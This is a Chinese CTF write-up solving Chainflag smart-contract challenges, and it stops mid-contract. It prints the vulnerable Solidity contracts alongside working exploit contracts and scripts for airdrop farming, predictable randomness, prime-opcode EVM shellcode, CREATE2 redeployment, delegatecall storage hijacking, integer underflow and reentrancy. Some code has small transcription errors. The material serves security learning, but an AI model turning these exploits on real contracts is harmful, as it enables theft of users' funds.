Chainflag 刷题记录
airdrop 薅羊毛
coinflip
HoneyLock
address :0xF60ADeF7812214eBC746309ccb590A5dBd70fc21 on ropsten.
call CaptureTheFlag with base64(your email),you will receive flag.
nc chall.chainflag.org 10000
代码
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
只要balance>500就能得到flag,Ap函数可以薅羊毛。
exp:
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
contract getflag {
address addr = 0xF60ADeF7812214eBC746309ccb590A5dBd70fc21;
P_Bank pb = P_Bank(addr);
function get_flag(string email) public
{
pb.CaptureTheFlag(email);
}
}
contract airdropfather
{
function hack(address addr) public
{
for(uint i = 0; i< 80; i++)
{
airdropson son = new airdropson(addr);
}
}
}
contract airdropson
{
constructor(address addr) public
{
P_Bank tmp = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
tmp.Ap();
tmp.Transfer(addr, 1 ether);
}
}
bad rand
EOS game
/**
*Submitted for verification at Etherscan.io on 2018-11-26
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";
uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}
function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
5%概率获得100倍奖励
exp:
/**
*Submitted for verification at Etherscan.io on 2018-11-26
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";
uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}
function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
contract EOSGame_exp{
EOSGame eosgame;
constructor() public{
eosgame=EOSGame(0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F);
}
function init() public{
eosgame.initFund();
}
function small(uint times) public{
for(uint i = 0; i < times; i++) {
eosgame.smallBlind();
}
}
function big(uint times) public{
for(uint i = 0; i < times; i++) {
eosgame.bigBlind();
}
}
function bof() public view returns(uint256){
return eosgame.eosBlanceOf();
}
function flag(string b64email) public{
eosgame.CaptureTheFlag(b64email);
}
}
evm
StArNDBOX
题目代码
pragma solidity ^0.5.11;
library Math {
function invMod(int256 _x, int256 _pp) internal pure returns (int) {
int u3 = _x;
int v3 = _pp;
int u1 = 1;
int v1 = 0;
int q = 0;
while (v3 > 0){
q = u3/v3;
u1= v1;
v1 = u1 - v1*q;
u3 = v3;
v3 = u3 - v3*q;
}
while (u1<0){
u1 += _pp;
}
return u1;
}
function expMod(int base, int pow,int mod) internal pure returns (int res){
res = 1;
if(mod > 0){
base = base % mod;
for (; pow != 0; pow >>= 1) {
if (pow & 1 == 1) {
res = (base * res) % mod;
}
base = (base * base) % mod;
}
}
return res;
}
function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
if (pow >= 0) {
return expMod(base,pow,mod);
}
else {
int inv = invMod(base,mod);
return expMod(inv,abs(pow),mod);
}
}
function isPrime(int n) internal pure returns (bool) {
if (n == 2 ||n == 3 || n == 5) {
return true;
} else if (n % 2 ==0 && n > 1 ){
return false;
} else {
int d = n - 1;
int s = 0;
while (d & 1 != 1 && d != 0) {
d >>= 1;
++s;
}
int a=2;
int xPre;
int j;
int x = pow_mod(a, d, n);
if (x == 1 || x == (n - 1)) {
return true;
} else {
for (j = 0; j < s; ++j) {
xPre = x;
x = pow_mod(x, 2, n);
if (x == n-1){
return true;
}else if(x == 1){
return false;
}
}
}
return false;
}
}
function gcd(int a, int b) internal pure returns (int) {
int t = 0;
if (a < b) {
t = a;
a = b;
b = t;
}
while (b != 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
function abs(int num) internal pure returns (int) {
if (num >= 0) {
return num;
} else {
return (0 - num);
}
}
}
contract StArNDBOX{
using Math for int;
constructor()public payable{
}
modifier StAr() {
require(msg.sender != tx.origin);
_;
}
function StArNDBoX(address _addr) public payable{
uint256 size;
bytes memory code;
int res;
assembly{
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
res = int(uint8(code[i]));
require(res.isPrime() == true);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
}
}
分析
这里要了解一下内联汇编:https://www.tryblockchain.org/blockchain-solidity-assembly.html
所以这些汇编的命令解析为:
assembly{
size := extcodesize(_addr) //size = addr's code size
code := mload(0x40) //code = mem[0x40 - 0x60]
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
//size +=0x3f
//size &= 0xe0 (align)
//code += size
//[mem 0x40 - 0x60] = code
mstore(code, size)
//[mem code - code+0x20] = size
extcodecopy(_addr, add(code, 0x20), 0, size)
//[mem code+0x20 - code+0x20+size] = addr[0 - size]
}
也就是将addr的代码copy进内存中,并且按照一定的内存结构格式。
而后检查code中的每个byte操作码,检查是否为质数。通过后就会执行这个addr中的代码,需要返回true。
而题目的要求是清空账户余额,就可以获得flag。
所以题目类似于写一个全为质数的shellcode达到这一目的。
opcode参考:https://ethervm.io/
最有用的两个opcode就是push2(0x61)以及call(0xf1)
call的定义如下:
CALL``gas``addr``value``argsOffset``argsLength``retOffset``retLength``success
也就是栈顶到栈底依次为:gas, addr, value, argsoffset, argslength, ret offset, retlength
所以说构造的payload为:0x61000061000061000061000061006161000301610000619789f100
也就是:
610000 PUSH2 0x0000
610000 PUSH2 0x0000
610000 PUSH2 0x0000
610000 PUSH2 0x0000
610061 PUSH2 0x0061
610003 PUSH2 0x0003
01 ADD
610000 PUSH2 0x0000
619789 PUSH2 0x9789
f1 CALL
翻译过来就是:call(0).gas(9789).value(100 Wei)
不过题目里面是1wei,改一下就行
于是乎,部署的合约代码为:
pragma solidity ^0.5.11;
contract Deployer {
constructor() public {
bytes memory bytecode = hex"61000161000161000161000161000161000161fbfbf1";
';
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
至于为什么这么写,可以参考这个文章:https://medium.com/authio/solidity-ctf-part-4-read-the-fine-print-5ad259a5f5bb
大体意思就是说构造函数会返回一个二元组:代码开头以及代码长度。这个memory的前32bit为长度。
攻击合约:
pragma solidity ^0.5.12;
contract attack{
address code=<contract 1>;
address target=<instance>;
StArNDBOX s=StArNDBOX(target);
function exp()external{
s.StArNDBoX(code);
}
}
creativity
代码
pragma solidity ^0.5.10;
contract Creativity {
event SendFlag(address addr);
address public target;
uint randomNumber = 0;
function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}
function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}
function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}
分析
这题也很有意思,是balsnctf2019的原题。
大意就是需要搞一个合约地址,然后check一下他的code的长度是否小于等于4,成立的话就把target的值赋值为这个地址,然后你就可以有一次delegatecall的机会。
看起来像是个极简shellcode题目,但是在evm中4个字节的指令干不了这么多事情的。
- Directly emit an event with
LOG1
requires an event topic hash as a parameter, which is more than 4 bytes. (Ref)- To invoke any type of call to another contract, at least 6 parameters should be prepared on the stack, which requires at least 6 operations and thus 6 bytes of code. (Ref)
- Modifying the storage of the game contract is useless since there is a selfdestruct right after the delegatecall.
所以这里要用一个create2的trick。
create2是一个指令,用法就是:create2(value, offset,length,salt),创建出来的新的合约地址由以下公式计算得出:
keccak256(0xff ++ address ++ salt ++ keccak256(init_code))[12:]
这意味着,如果我们控制了合约的创建代码并使其保持不变,然后控制合约构造函数返回的运行时字节码,那么我们很容易就能做到在同一个地址上,反复部署完全不同的合约。
poc:
pragma solidity ^0.5.10;
contract Deployer {
bytes public deployBytecode;
address public deployedAddr;
function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
}
deployedAddr = a;
}
}
contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
也就是先部署dumper合约,得到dumper合约的部署字节码,可以看到dumper合约的运行字节码是由deployer决定的。
得到dumper的部署字节码后就可以通过deployer合约来部署dumper合约并且控制在同一个地址,且能控制字节码。
攻击流程:
- Using the
CREATE2
reinitialize trick, deploy a contract with content0x33ff
, which isselfdestruct(msg.sender)
. - Call
check()
in the game contract to let our deployed contract pass the check. - Send an empty transaction to our contract to make it self-destructed.
- Again, using the
CREATE2
reinitialize trick, deploy a new contract at the same address that will executeemit SendFlag(0)
. - Call
execute()
in the game contract, it will then fire theSendFlag
event.
//0x60405180807f53656e64466c6167286164647265737329000000000000000000000000000000815250601101905060405180910390206000801b6040518082815260200191505060405180910390a1
contract Deployer {
bytes public deployBytecode;
address public deployedAddr;
function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
}
deployedAddr = a;
}
}
contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
delegate call
counter strike
代码
contract Launcher{
uint256 public deadline;
function setdeadline(uint256 _deadline) public {
deadline = _deadline;
}
constructor() public {
deadline = block.number + 100;
}
}
contract EasyBomb{
bool private hasExplode = false;
address private launcher_address;
bytes32 private password;
bool public power_state = true;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));
Launcher launcher;
constructor(address _launcher_address, bytes32 _fake_flag) public {
launcher_address = _launcher_address;
password = _fake_flag ;
}
function msgPassword() public returns (bytes32 result) {
bytes memory msg_data = msg.data;
if (msg_data.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msg_data, add(0x20, 0x24)))
}
}
modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier notExplodeYet(){
launcher = Launcher(launcher_address);
require(block.number < launcher.deadline());
hasExplode = true;
_;
}
function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {
launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));
}
}
分析
漏洞点很明显的在delegatecall这里:
function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {
launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));
}
在launcher中,setdeadline函数会改变slot1中的内容,在bomb合约中slot1存储的是一个bool和一个address。
所以第一次调用可以将这个地址修改成任意合约地址。
我们可以构造一个攻击合约,将powerstate那个slot中的变量改成false即可。
攻击合约:
contract Launcherhack{
bool private hasExplode;
address private launcher_address;
bytes32 private password;
bool public power_state;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));
uint256 public deadline;
constructor() public {
hasExplode = false;
//launcher_address = 0;
password = 'AAAA';
power_state = false;
deadline = block.number + 10000;
}
function setdeadline(uint256 _deadline) public {
launcher_address = address(_deadline);
power_state = false;
}
}
不过除此之外还需要过一个check,也就是isOwner那里:
modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
后面两个require好弄,搞个攻击合约将逻辑写到constructor即可。第一个的话password是存储在storage里面的,需要编写个pythonweb3脚本查一下。
from web3 import Web3
import web3
#import sha3
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/xxxxxxxxxxx")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
myaccount = "xxxxxxxx"
private = "xxxxxxxx"
contract = "0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c"
contract = Web3.toChecksumAddress(contract)
def check():
print(runweb3.eth.getStorageAt(contract,0))
print(runweb3.eth.getStorageAt(contract,1))
print(runweb3.eth.getStorageAt(contract,2))
print(runweb3.eth.getStorageAt(contract,3))
print(runweb3.eth.getStorageAt(contract,4))
print(runweb3.eth.getStorageAt(contract,5))
def calc_sth():
origin = 0xd93F4A6719A386E6bd5dC781c019492E0A382F2a
target = Web3.keccak(Web3.keccak(origin|3)) + 2
print(target)
if __name__ == '__main__':
check()
查完之后写到payload里面打过去就行了。
contract hackeasyboom1{
constructor() public {
address a = 0xc9f4E0E9D1D2365a70940De00beD01F1275fe198;
// target.address+00 +password 0x6a9bE26DbcfcB597Aef8144fdE7495848de32c75
a.call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000003F187b817862126b1199c6902d4e5f54f57209f600,
0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d));
a.call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000003F187b817862126b1199c6902d4e5f54f57209f600,
0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d));
}
}
int overflow
bet
代码:
pragma solidity ^0.4.24;
contract bet {
uint secret;
address owner;
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
mapping(address => uint) public isbet;
event SendFlag(string b64email);
function Bet() public{
owner = msg.sender;
}
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}
//to fuck
modifier only_owner() {
require(msg.sender == owner);
_;
}
function setsecret(uint secretrcv) only_owner {
secret=secretrcv;
}
function deposit() payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}
function profit() {
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}
function betgame(uint secretguess){
require(balanceOf[msg.sender]>0);
balanceOf[msg.sender]-=1;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
isbet[msg.sender]=1;
}
}
function doublebetgame(uint secretguess) only_owner{
require(balanceOf[msg.sender]-2>0);
require(isbet[msg.sender]==1);
balanceOf[msg.sender]-=2;
if (secretguess==secret)
{
balanceOf[msg.sender]+=2;
}
}
}
这题就很白给了,先变成owner然后出发iof就行
pragma solidity ^0.4.24;
interface bet {
function balanceOf(address) external returns(uint);
function Bet() external;
function payforflag(string) external;
function setsecret(uint) external;
function profit() external;
function betgame(uint)external;
function doublebetgame(uint) external;
}
contract hack{
bet target;
constructor(){
target = bet(0x30d0a604d8c90064a0a3ca4beeea177eff3e9bcd);
}
function becomeOwmer() public{
target.Bet();
}
function setsecret(uint sec) public{
target.setsecret(sec);
}
function iof() public{
target.doublebetgame(222);
}
function ap() public{
target.profit();
}
function bg(uint sec) public{
target.betgame(sec);
}
function getflag() public{
string memory email = "111";
target.call(bytes4(keccak256("payforflag(string)")),email);
}
function bf() public view returns (uint){
return target.balanceOf(address(this));
}
}
hf
代码:
pragma solidity ^0.4.24;
contract hf {
address secret;
uint count;
address owner;
mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;
struct node {
address nodeadress;
uint nodenumber;
}
node public node0;
event SendFlag(string b64email);
constructor()public{
owner = msg.sender;
}
function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}
//to fuck
modifier onlySecret() {
require(msg.sender == secret);
_;
}
function profit() public{
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}
function hfvote() public payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}
function ubw() public payable{
if (msg.value < 2 ether)
{
node storage n = node0;
n.nodeadress=msg.sender;
n.nodenumber=1;
}
else
{
n.nodeadress=msg.sender;
n.nodenumber=2;
}
}
function fate(address to,uint value) public onlySecret {
require(balanceOf[msg.sender]-value>=0);
balanceOf[msg.sender]-=value;
balanceOf[to]+=value;
}
}
ubw函数else分支没有初始化,可以修改secret,然后就overflow了,很简单。
reentrance
babybank
代码:
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 3
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}
分析
账户结尾可以爆破,爆破脚本:
from ethereum import utils
import os, sys
# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("b1b1"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
secret不用猜,直接在storage找就行。
重入攻击在withdraw函数,特别明显的重入攻击标识。
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
这里的balance可以有个整数溢出,可以修改达到payforflag条件,所以重入的目的不是掏空余额而是触发这个重入。
但是合约没有balance,所以要用selfdestruct强制转过去两个eth才行。
攻击代码:
ontract transfer_force{
address owner;
function () payable {
}
constructor()public{
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function kill(address to) public onlyOwner {
selfdestruct(to);
}
}
contract reentrancy{
address bb;
uint have_withdraw;
function set_bb(address target)
{
bb=target;
}
function withdraw(uint amount){
babybank(bb).withdraw(amount);
}
function () payable {
if (have_withdraw==0){
have_withdraw=1;
babybank(bb).withdraw(2);
}
}
function getflag(string md5ofteamtoken,string b64email) public{
babybank(bb).payforflag(md5ofteamtoken,b64email);
}
}
storage
cow
代码
pragma solidity ^0.4.2;
contract cow{
address public owner_1;
address public owner_2;
address public owner_3;
address public owner;
mapping(address => uint) public balance;
struct hacker {
address hackeraddress1;
address hackeraddress2;
}
hacker h;
constructor()public{
owner = msg.sender;
owner_1 = msg.sender;
owner_2 = msg.sender;
owner_3 = msg.sender;
}
event SendFlag(string b64email);
function payforflag(string b64email) public
{
require(msg.sender==owner_1);
require(msg.sender==owner_2);
require(msg.sender==owner_3);
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}
function Cow() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth==1)
{
owner_1=msg.sender;
}
}
function cov() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth<1)
{
hacker fff=h;
fff.hackeraddress1=msg.sender;
}
else
{
fff.hackeraddress2=msg.sender;
}
}
function see() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
if (uint(msg.sender) & 0xffff == 0x525b)
{
